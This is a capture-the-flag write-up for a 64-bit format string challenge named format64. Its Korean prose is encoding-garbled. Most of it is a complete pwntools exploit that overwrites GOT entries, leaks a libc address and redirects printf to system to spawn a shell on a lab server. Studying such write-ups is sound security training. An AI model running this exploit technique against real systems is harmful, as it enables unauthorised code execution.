๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : format64
64bit ํ๊ฒฝ์์ format string bug๋ก ํฌ์ธํฐ๋ฅผ overwriteํ์ฌ ์ ธ์ ํ๋ํ๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์
๋ณดํธ ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
main
ํจ์์ด๋ค. buf์ ๊ฐ์ 256byte ์
๋ ฅ๋ฐ๊ณ , ์ด๋ฅผ ์ถ๋ ฅํ ๋ format string bug๊ฐ ๋ฐ์ํ๋ค.
check
์ ์ญ๋ณ์์ ๊ฐ์ด 0x87654321ABCD
์ด๋ฉด win
ํจ์๋ฅผ ํธ์ถํ๋ค.
win
ํจ์๋ก ๋ค์ด์ค๋ฉด exit(0);
๊ฐ ์คํ๋๋ฉด์ ํ๋ก๊ทธ๋จ์ด ์ข
๋ฃ๋๋ค.
๐ก ์ฒซ๋ฒ์งธ FSB - exit_got overwrite
ํ๋ก๊ทธ๋จ์ ์คํ์์ผ๋ณด๋ฉด ์ฒ์์ ์
๋ ฅํ AAAABBBB
๋ฌธ์๊ฐ 8๋ฒ์งธ์ ๋์ค๋๋ฐ, ์ด๋ ๋ ์ง์คํฐ๊ฐ์ ์ถ๋ ฅํ๊ณ , ์คํ์์ญ์ ์ถ๋ ฅํ๊ธฐ ๋๋ฌธ์ด๋ค.
exit
ํจ์์ plt
์ got
๊ฐ ์๋ค. ํด๋น ๋ฐ์ด๋๋ฆฌ๋ PIE๊ฐ ์๊ฑธ๋ ค ์๋ค.๋ฐ๋ผ์, exit
ํจ์์ got
์ 0x4012a9
๋ฅผ overwriteํ์ฌ ๊ณ์ fsb๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก ๋ง๋ค ์ ์๋ค.
๐ก ๋๋ฒ์งธ FSB - libc leak
์ฐ๋ฆฌ๊ฐ ์
๋ ฅํ ๊ฐ๋ถํฐ ์คํ์์ 8bytes ๋จ์๋ก 75์นธ ๊ฐ๋ฉด libc_start_main+243
์ฃผ์๋ฅผ ์ป์ ์ ์๋ค. ๋ฐ๋ผ์, %83$p
๋ก ํด๋น ์ฃผ์๋ฅผ leak ํ ์ ์๋ค.
75์นธ๊ณผ ์์ ๋ ์ง์คํฐ๊ฐ ๋์ค๋ 8์นธ์ ๋ํด์ 83์นธ๋งํผ ๋จ์ด์ง ๊ณณ์ ์ฃผ์๋ฅผ leak ํ๋ค. ์ด ๊ฐ์ผ๋ก libc์ __libc_start_main
์คํ์
์ ์ป์ด libc base๋ฅผ ๊ตฌํ๊ณ system
ํจ์์ ์ฃผ์๋ฅผ ์ป์ ์ ์๋ค.
๐ก ์ธ๋ฒ์งธ FSB - printf_got overwrite
์ดํ ๋ค์ main
ํจ์์ fsb์์ printf_got
๋ฅผ system
ํจ์ ์ฃผ์๋ก ๋ฎ๊ณ , ๋ค์ ๋์์ค๋ read
ํจ์์์ /bin/sh
๋ฅผ ์
๋ ฅํ๋ฉด **system('/bin/sh')**
๊ฐ ํธ์ถ๋์ด ์
ธ์ ์ป์ ์ ์๋ค.
printf_got
๊ฐ ๋ฎ์ธ ๋ชจ์ต๋๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
def alarm_handler(signum, frame):
print("SIGALRM received!")
# SIGALRM ์๊ทธ๋ ํธ๋ค๋ฌ ๋ฑ๋ก
signal.signal(signal.SIGALRM, alarm_handler)
#p = process('./format64')
e = ELF('./format64')
p = remote('192.168.83.137', 13575)
libc = e.libc
check = e.symbols['check']
main = e.symbols['main']
exit_got = e.got['exit']
printf_got = e.got['printf']
main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
print(hex(main_low))
print(hex(main_high))
#main = 0x00000000004012a8
payload = b''
payload += b'%64c' #0x40
payload += b'%16$hn'
payload += b'%4712c' #0x12a8
payload += b'%17$hn'
payload += b'%39205c' #0xabcd
payload += b'%18$hn'
payload += b'%38740c' #0x4321
payload += b'%19$hn'
payload += b'%17476c' #0x8765
payload += b'%20$hn'
payload += b'A' * (8-len(payload)%8)
payload += p64(exit_got+2)
payload += p64(exit_got)
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)
#gdb.attach(p)
#pause()
p.sendline(payload)
payload = b''
payload += b'leak:%83$p'
#gdb.attach(p)
#pause()
signal.alarm(30)
p.sendline(payload)
p.recvuntil(b'leak:')
leak = int(p.recv(14),16)
libc_base = leak - libc.symbols['__libc_start_main'] - 231
system = libc_base + libc.symbols['system']- 0xc
log.info('\tleak : '+ hex(leak))
log.info('\tlibc : '+ hex(libc_base))
log.info('\tsystem : '+ hex(system))
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
low = system_low
if system_middle > system_low:
middle = system_middle - system_low
else:
middle = 0x10000 + system_middle - system_low
if system_high > system_middle:
high = system_high - system_middle
else:
high = 0x10000 + system_high - system_middle
low = str(low).encode('ascii')
middle = str(middle).encode('ascii')
high = str(high).encode('ascii')
payload = b''
payload += b'%' + low + b'c'
payload += b'%13$hn'
payload += b'%' + middle + b'c'
payload += b'%14$hn'
payload += b'%' + high + b'c'
payload += b'%15$hn'
payload += b'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)
#gdb.attach(p)
#pause()
signal.alarm(30)
p.sendline(payload)
log.info('### main ###')
log.info('[4] input : /bin/sh\x00')
signal.alarm(30)
p.send(b'/bin/sh\x00')
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ์ ธ์ ์ป์ ์ ์๋ค.